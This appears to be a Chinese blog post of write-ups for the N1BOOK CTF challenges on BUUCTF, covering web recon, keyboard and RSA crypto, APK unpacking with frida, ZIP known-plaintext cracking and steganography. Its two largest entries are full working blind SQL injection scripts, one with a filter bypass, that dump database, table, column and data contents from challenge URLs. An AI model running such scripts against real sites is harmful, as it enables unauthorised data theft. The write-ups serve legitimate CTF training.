1.[第一章 web入门]常见的搜集

robots.txt得到一部分flag:

flag1:n1book{info_1

备份文件index.php~得到第二部分flag:

flag2:s_v3ry_im

访问.index.php.swp得到第三部分flag:

flag3:p0rtant_hack}

2.[第七章 CTF之CRYPTO章]KeyBoard

题目说了是键盘密码。

密文:

hjmb 2wq ghnv 90plki 90plki iol,mj -=]';p 0-[;lo qwsz wedxza wedxza 23esaq 90plki  45tfde erfcxs =\'[

空格分组,在自己电脑键盘上看看:

hjmb把n围了起来,所以第一个字符是n

2wq把1围了起来,所以第二个字符是1

ghnv把b围了起来,所以第三个字母是b

以此类推得到n1book{password}

3.[第四章 CTF之APK章]数字壳的传说

先下载下来,用查壳工具查一下:

发现是有壳,接着尝试使用frida-hexdump脱壳。

先把这个APP安装进模拟器:

然后adb connect 127.0.0.1:62001连接模拟器:

然后 adb shell连接模拟器的shell,

启动frida:

另起一个命令行,查看题目给的程序的pid,尝试脱壳:

pid是3472,尝试脱壳:

在当前目录下看到了脱好壳的dex文件:

把最大的0x84a8000.dex拖进jadx里面看看(这里有个经验,一般脱壳之后的dex文件重点要看500K以上的,太小的其实没有看的价值):

可以看到反编译好的源码,找找xml里面声明的程序入口com.sec.n1book1.MainActivity:

一无所获,但是发现有一个Secrect的类:

package com.sec.n1book1;public class Secret {static int check(String s) {if (AESUtils.encryptString2Base64(s, s.substring(0, 6), "123456").replaceAll("\r|\n", BuildConfig.FLAVOR).equals("u0uYYmh4yRpPIT/zSP7EL/MOCliVoVLt3gHcrXDymLc=")) {return 0;}return -1;}
}

看了下AESUtils.class,采用CBC模式,PKCS7Padding填充,位移量(iv)为123456,密码是n1book解密一下得到flag:n1book{h3ckF0rfun}

4.[第七章 CTF之CRYPTO章]BabyRSA

这题看着p和q也不大,暴力分解N看一下:

得到p和q,写代码得明文:

def egcd(a, b):if a == 0:return (b, 0, 1)else:g, y, x = egcd(b % a, a)return (g, x - (b // a) * y, y)
def modinv(a, m):g, x, y = egcd(a, m)if g != 1:raise Exception('模数分解失败')else:return x % m
def main():e=65537p=306646691207889915109374013611076713401q=226134486267985710544345427491176087287d = modinv(e,(p-1)*(q-1))c= 19914364722342610626569065936888842248099105322649309104924491672406432347316N= 69343391982073836527260787066436662760820725339907775857387709078502658633087print((pow(c, d, N)))
if __name__ == '__main__':main()

然后十进制明文转16进制再转字符串得到flag:

5.[第九章 CTF之MISC章]两个部分的flag

下载下来是一张名为stego的图。

上stego一无所获。

zsteg:

压缩包和part2一把梭,然后把压缩包提取出来,解压得到一张图片,这张图片用winhex打开能看到flag藏在二进制数据里面。

6.[第七章 CTF之CRYPTO章]CommonModulus

这题是典型的共模攻击:

已知e1,e2,N,c1,c2,求明文m。

直接上python2代码了:

#-*- coding:utf-8 -*-
import binascii
import gmpy2
e1 = 65537
e2 = 114514191981019
a = gmpy2.gcdext(e1,e2)   #拓展欧里几德算法
r = int(a[1])
s = int(a[2])c1 = 0x1d3305c01a4557da0e04ca34207dd2c908df74eb30b5b08912286f836856eb18fb86de2049c04862acd96b7b0a699e5d1113acc46015925a5b551b9a76428ea742a4a1beb996ceb76eab3e498c7373195f084a2dee92b9e056064d2d80a2457ca60644eaac85367688a3b0880dfd727e2e46dce5dffbf377cebb8d7e68c2077982a6b01a3980ccb9f828d82ad5df5b3b3cd8d6ebe24d7ff56767fa95eecad53507b85ad797b991372c4022ecb2ec38194325273aa32b71ec80f993f7473f285a5f90c566623965a740ccfce72241b1de3c93b79b2011ecaa7eb98503486a0db67f4148d86ab58e76d518c81ed4c8971fd96a8def680dbc0eb3d4fcb314ceae06
c2 = 0xa28cb4e13c38759c14af116171ef8c76e382dfa449c8590cedd34b5e2f38d5e70014d079bd9d09e3fba1e24a4dd9aff732ae84a14fd15afb549f7283bb7017698482d0ae610b7fd58e6ddf53e41fa14e836dc0fe6062671cf7323c75c5d8d7879c1244556cb9ea4fe7420e057026003f377a991d92ab09212a861a1668f401ce5790ff4328576de548a2ff890bb6f09c205177704bc7ef3c54d112739a27f188416bcec5333f825c2b0e46719fffb04695457eb0202c4784c99c422cc20e54ba4a6117aab580232de55565f1acb98f0446e0a58ff6e64960e0e4d613afec5f6ade64c14df5e73063a6b171fa7c318ee135570e124aa83fc787df5160d88840ec
N = 0xab49acbf520674ad8efc7afb941635927d1af65cde5e8b85bd130b2d549cc8b66d7e1b440636f4303e3a5dc64e5dcdfb4c149824c51cd53cb342d9fd0b9317f84abc0b03f0ecd09b587f8b94fc409e170f32ce3cabd55c66877386e51005378d2ce9299343f987a2e9095d6fc46c38b0c8f1feddee9b4bd1ca9d0345bdf19bbde0b18a6ffad7abedb00c2b78edf6ee8b36bef08168a5d40f1e0c1d2a65a2dc8b6089813733ed378cfb5a93dcfb48140a4866b89352baa5389543becf75699c5254544a025aa645cd375f7b12fd0312c7f7900d5496e5ae0e105a7c479340fc9d057b2dfc7be218152b202361c4acad1bc3b7c1886b04ec7a9f6fc2667b952867
m= (gmpy2.powmod(c1,r,N)*gmpy2.powmod(c2,s,N))%N      #计算明文,计算出的明文为16进制形式
flag = hex(m)
flag = binascii.a2b_hex(flag[2:]) # 将十六进制数字字符串转换为二进制数据(字符切片截取0x之后的)
print flag

执行得到flag:

n1book{c0mm0n_m0du1u5_4ttacK}

7.[第一章 web入门]SQL注入-1

直接上脚本一把梭:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import requests# 主函数
def main():url = "http://610c5f17-211a-4f95-9f29-ecca10b87ff9.node4.buuoj.cn:81/index.php"HX = "Happy"# db_name = get_databasename_HX(url, HX)# get_tablename_HX(url,HX,db_name)# get_columnname_HX(url,HX,'fl4g')get_table_data_HX(url, HX, 'fl4g', 'fllllag')#根据回显盲注指定数据表指定字段的数据
def get_table_data_HX(url, HX, table_name, column_name):data_group_length = 0;for i in range(1, 64):payload = url + "?id=9'||(if(("+str(i) + "=(SELECT(length(group_concat("+column_name+")))FROM("+table_name+"))"+"),1=1,1=2))--+"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:data_group_length = ibreakif data_group_length == 0:print("读取字段长度失败,程序结束")return -1else:print("数据长度:"+str(data_group_length))data = ""for i in range(1, data_group_length+1):for j in range(32,128):payload = url + "?id=9'||(if(("+str(j)+"=ASCII(SUBSTR((SELECT(GROUP_CONCAT("+column_name+"))FROM("+table_name+")),"+str(i)+",1))"+"),1=1,1=2))--+"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:data += chr(j)s = requests.session()s.keep_alive = False
#根据回显盲注指定数据表的字段名
def get_columnname_HX(url, HX, table_name):column_group_length = 0;for i in range(1, 32):payload = url + "?id=9'||(if(("+str(i) + "=(SELECT(length(group_concat(column_name)))FROM(information_schema.columns)WHERE((table_name)=('" +table_name + "')))"+"),1=1,1=2))--+"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:column_group_length = ibreakif column_group_length == 0:print("读取字段长度失败,程序结束")return  -1else:print ("列字段长:" + str(column_group_length))columns = ""for i in range(1, column_group_length + 1):for j in range(32, 128):payload = url + "?id=9'||(if("+str(j)+"=ASCII((SELECT(SUBSTR(GROUP_CONCAT(column_name),"+str(i)+",1))FROM(information_schema.columns)WHERE((table_name)REGEXP('"+table_name+"'))))"+",1=1,1=2))--+"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:columns += chr(j)print(columns)breakprint(columns)return 1
#根据回显盲注获取所有数据表名
def get_tablename_HX(url, HX, db_name):table_group_length = 0for i in range(1, 32):payload=url+"?id=9'||(if(((SELECT(LENGTH(GROUP_CONCAT(table_name)))FROM(information_schema.tables)WHERE(table_schema='"+db_name+"'))="+str(i)+"),1=1,1=2))--+"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:table_group_length = ibreakif table_group_length == 0:print ("读取数据库表失败,程序结束")return -1else:tables = ""for i in range(1, table_group_length + 1):for j in range(32,128):payload = url + "?id=9'||(if(("+str(j)+"=ASCII((SELECT(SUBSTR(GROUP_CONCAT(table_name),"+str(i)+",1))FROM(information_schema.tables)WHERE(table_schema='"+db_name+"')))),1=1,1=2))--+"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:tables+=chr(j)print(tables)breakprint(tables)return 1# 根据回显盲注获取数据库名
# database_len_payload:获取数据库名长度的payload,自行配置
# database_name_payload:获取数据库名的payload,自行配置
# HX:命中结果时的回显
def get_databasename_HX(url, HX):db_name = ""database_len = 0  # 数据库名的长度for i in range(1, 32):payload = url + "?id=9'||(if((length(database())="+str(i)+"),1=1,1=2))--+"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:database_len = ibreakif database_len == 0:print("读取数据库长度失败,程序终止")return "-1"else:print("数据库长度为:" + str(database_len))for i in range(1, database_len + 1):for j in range(1, 128):payload = url + "?id=9'||(if((ascii(substr(database(),"+str(i)+",1))="+str(j)+"),1=1,1=2))--+"result = requests.get(payload)if result.text.find(HX) != -1:print("发现第" + str(i) + "位:" + chr(j))db_name += chr(j)breakprint("数据库名为:%s" % db_name)return db_name
if __name__ == '__main__':main()

8.[第一章 web入门]SQL注入-2

过滤了select的盲注。select用大小写就能绕过。

上代码一把梭:

# -*- coding: utf-8 -*-
import sys
import requests
#根据回显盲注指定数据表的字段名
#根据回显盲注指定数据表指定字段的数据
def post_table_data_HX(url, HX, table_name, column_name):data_group_length = 0;for i in range(1, 64):uname = "1'||(if(("+str(i) + "=(SELECT(length(group_concat("+column_name+")))FROM("+table_name+"))"+"),1=1,1=2));#"payload = {'name': uname, 'pass': '1'}result = requests.post(url, data=payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:data_group_length = ibreaks = requests.session()s.keep_alive = Falseif data_group_length == 0:print("读取字段长度失败,程序结束")return -1else:print("数据长度:"+str(data_group_length))data = ""for i in range(1, data_group_length+1):for j in range(32,128):uname = "1'||(if(("+str(j)+"=ASCII(SUBSTR((SELECT(GROUP_CONCAT("+column_name+"))FROM("+table_name+")),"+str(i)+",1))"+"),1=1,1=2));#"payload = {'name': uname, 'pass': '1'}result = requests.post(url, data=payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:data += chr(j)s = requests.session()s.keep_alive = False
def post_columnname_HX(url, HX, table_name):column_group_length = 0;for i in range(1, 32):uname = "1'||(if(("+str(i) + "=(SELECT(length(group_concat(column_name)))FROM(information_schema.columns)WHERE((table_name)=('" +table_name + "')))"+"),1=1,1=2));#"payload = {'name': uname, 'pass': '1'}result = requests.post(url, data=payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:column_group_length = ibreakif column_group_length == 0:print("读取字段长度失败,程序结束")return  -1else:print ("列字段长:" + str(column_group_length))columns = ""for i in range(1, column_group_length + 1):for j in range(32, 128):uname = "1'||(if("+str(j)+"=ASCII((SELECT(SUBSTR(GROUP_CONCAT(column_name),"+str(i)+",1))FROM(information_schema.columns)WHERE((table_name)REGEXP('"+table_name+"'))))"+",1=1,1=2));#"payload = {'name': uname, 'pass': '1'}result = requests.post(url, data=payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:columns += chr(j)print(columns)breakprint(columns)return 1
#根据回显盲注获取所有数据表名
def post_tablename_HX(url, HX, db_name):table_group_length = 0for i in range(1, 32):uname = "1'||(if(((SeLeCT(LENGTH(GROUP_CONCAT(table_name)))FROM(information_schema.tables)WHERE(table_schema='"+db_name+"'))="+str(i)+"),1=1,1=2));#"payload = {'name': uname, 'pass': '1'}result = requests.post(url, data=payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:table_group_length = ibreakif table_group_length == 0:print ("读取数据库表失败,程序结束")return -1else:tables = ""for i in range(1, table_group_length + 1):for j in range(32,128):uname = "1'||(if(("+str(j)+"=ASCII((SELECT(SUBSTR(GROUP_CONCAT(table_name),"+str(i)+",1))FROM(information_schema.tables)WHERE(table_schema='"+db_name+"')))),1=1,1=2));#"payload = {'name': uname, 'pass': '1'}result = requests.post(url, data=payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:tables+=chr(j)print(tables)breakprint(tables)return 1def post_dbname_HX(url, HX):db_name = ""database_len = 0  # 数据库名的长度for i in range(1, 32):uname = "1'||(if((length(database())=" + str(i) + "),1=1,1=2));#"payload = {'name':uname,'pass':'1'}result = requests.post(url, data=payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:database_len = ibreakif database_len == 0:print("读取数据库长度失败,程序终止")return "-1"else:print("数据库长度为:" + str(database_len))for i in range(1, database_len + 1):for j in range(32, 128):uname = "1'||(if((ascii(substr(database()," + str(i) + ",1))=" + str(j) + "),1=1,1=2));#"payload = {'name':uname,'pass':'1'}result = requests.post(url, data=payload)if result.text.find(HX) != -1:print("发现第" + str(i) + "位:" + chr(j))db_name += chr(j)breakprint("数据库名为:%s" % db_name)return db_namereturn db_namedef main():url = "http://db756714-61c8-439b-b4de-95dc01d17c8f.node4.buuoj.cn:81/login.php"HX = r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"# db_name = post_dbname_HX(url, HX)# post_tablename_HX(url,HX,'note')# post_columnname_HX(url,HX,'fl4g')post_table_data_HX(url,HX,'fl4g','flag')
if __name__ == '__main__':main()

9.[第九章 CTF之MISC章]压缩包中的乐趣

压缩包用winhex打开,发现是伪加密,修改2个504B0102后面的相应标志位之后解压得到一张1.png和一个2.zip压缩包(这里要把所有的504B0102相应标志位都修改掉)。

查看2.zip包内的文件,可以看到里面也有一张1.png,并且crc32都是一样的。这里考虑使用已知明文攻击,补一波知识:

我们为zip压缩文件所设定的密码,首先被转换成3个32bit的key,所以可能的key的组合是2^96,这是个天文数字,如果用暴力穷举的方式是不太可能的,除非你的密码比较短或者有个厉害的字典。压缩软件用这3个key加密所有包中的文件,也就是说,所有文件的key是一样的,如果我们能够找到这个key,就能解开所有的文件。如果我们找到加密压缩包中的任意一个文件,这个文件和压缩包里的文件是一样的,我们把这个文件用同样的压缩软件同样的压缩方式进行无密码的压缩,得到的文件就是我们的Known plaintext(已知明文)。用这个无密码的压缩包和有密码的压缩包进行比较,分析两个包中相同的那个文件,抽取出两个文件的不同点,就是那3个key了,如此就能得到key。两个相同文件在压缩包中的字节数应该相差12个byte,就是那3个key了。虽然我们还是无法通过这个key还原出密码,但是我们已经可以用这个key解开所有的文件,所以已经满足我们的要求了,毕竟对我们而言,得到解压后的文件比得到密码本身更重要。

这里我们直接使用修改完标志位的原始zip文件作为已知明文进行攻击:

如果自己使用压缩工具对1.png进行压缩作为明文的话可能会报“在选定的档案中没有匹配的文件”错误,导致破解失败。

解开得到佛莱格:n1book{665125b99ebb34fe8c74a36e1bf3d958}

10.[第九章 CTF之MISC章]听个音乐吧

看频谱:

BUUCTF笔记之N1BOOK相关推荐

  1. BUUCTF笔记之Real部分WP(一)

    声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负! 1.[ThinkPHP]5.0.23-Rce 发起一个请求,抓包: 将其修改为POST请求: 然后放进repeater,加入paylo ...

  2. BUUCTF笔记之Web系列部分WriteUp(五)

    1.[GWCTF 2019]枯燥的抽奖 查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...

  3. BUUCTF笔记之Web系列部分WriteUp(三)

    声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负! 1.[CISCN2019 华北赛区 Day2 Web1]Hack World 最近多做做sql注入,感觉自己在这一块还是很菜,进去就给 ...

  4. BUUCTF笔记之Misc系列部分WriteUp(二)

    1.爱因斯坦 binwalk分离出一个压缩包. 查看图片备注: 解压得到flag. 2.easycap 追踪TCP流: 3.另外一个世界 binwalk和steg一无所获,图片备注也看了没有收获,wi ...

  5. BUUCTF笔记之Web系列部分WriteUp(四)

    1.[BJDCTF2020]Mark loves cat dirb扫描目录发现.git泄露. githack获取源码 <?php$flag = file_get_contents('/flag' ...

  6. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  7. BUUCTF MISC刷题笔记(一)

    BUUOJ Misc 喵喵喵 弱口令 [安洵杯 2019]easy misc [XMAN2018排位赛]通行证 蜘蛛侠呀 [RCTF2019]draw [MRCTF2020]Hello_ misc [ ...

  8. BUUCTF MISC刷题笔记(三)

    BUUOJ Misc [MRCTF2020]pyFlag Business Planning Group [ACTF新生赛2020]剑龙 [GWCTF2019]huyao [UTCTF2020]Fil ...

  9. BUUCTF MISC刷题笔记(五)

    BUUOJ Misc [MRCTF2020]摇滚DJ(建议大声播放 [SCTF2019]Ready_Player_One [XMAN2018排位赛]file [INSHack2019]gflag [X ...

最新文章

  1. using 的三种用法
  2. 题目1181:遍历链表
  3. Redis字符串操作
  4. 《HTML 5与CSS 3权威指南 》 (第2版·下册)——第19章 19.3.2
  5. 对齐方式有那些_字节对齐不慎引发的挂死问题
  6. java ee 6 源码_Java EE 6开发手册·高级篇(第4版)
  7. 信息学奥赛C++语言: 求小数的某一位
  8. Python——模拟轮盘抽奖游戏
  9. 测试面试题集-Python编程题(1)
  10. 实现类似美团的下拉分级式菜单
  11. Hello word ;
  12. 浅谈MySQL索引背后的数据结构及算法
  13. PostgreSQL与MySQL的区别收集
  14. html图书馆占座系统,图书馆选座系统,再也不用担心有人占座啦!
  15. 【学习笔记】cs231n-assignment1-two_layer_net
  16. 自学c语言买谭浩强,C语言自学最强版本(谭浩强).pdf
  17. 减号android string,在Android应用软键盘上减号加号登录
  18. mysql数据库维护(mysql学习笔记)
  19. Vista下最好用输入法 - 搜狗拼音输入法4.0正式版闪亮登场!
  20. 结合GUI和simulink的三相电路谐波的检测与建模

热门文章

  1. ACM 各大OJ平台以及题目分类
  2. 阿里执行副主席蔡崇信投资NBA篮网队;工信部约谈运营商,不得限制用户资费选择丨价值早报
  3. 图解 Spring 循环依赖,看过之后再也不怕面试被问到了!
  4. revit二次开发 材质相关
  5. Touch ID身份认证
  6. iphone6 越狱教程
  7. 今天中了一个脚本病毒。把我的所有 html 加了 vbs 脚本,WriteData 是什么鬼?
  8. 智能食谱管理系统3.02
  9. 360搜索“触链”聚焦版权领域,“图刻”是噱头还是不忘安全初心?
  10. PV、UV、VV、IP及其关系与计算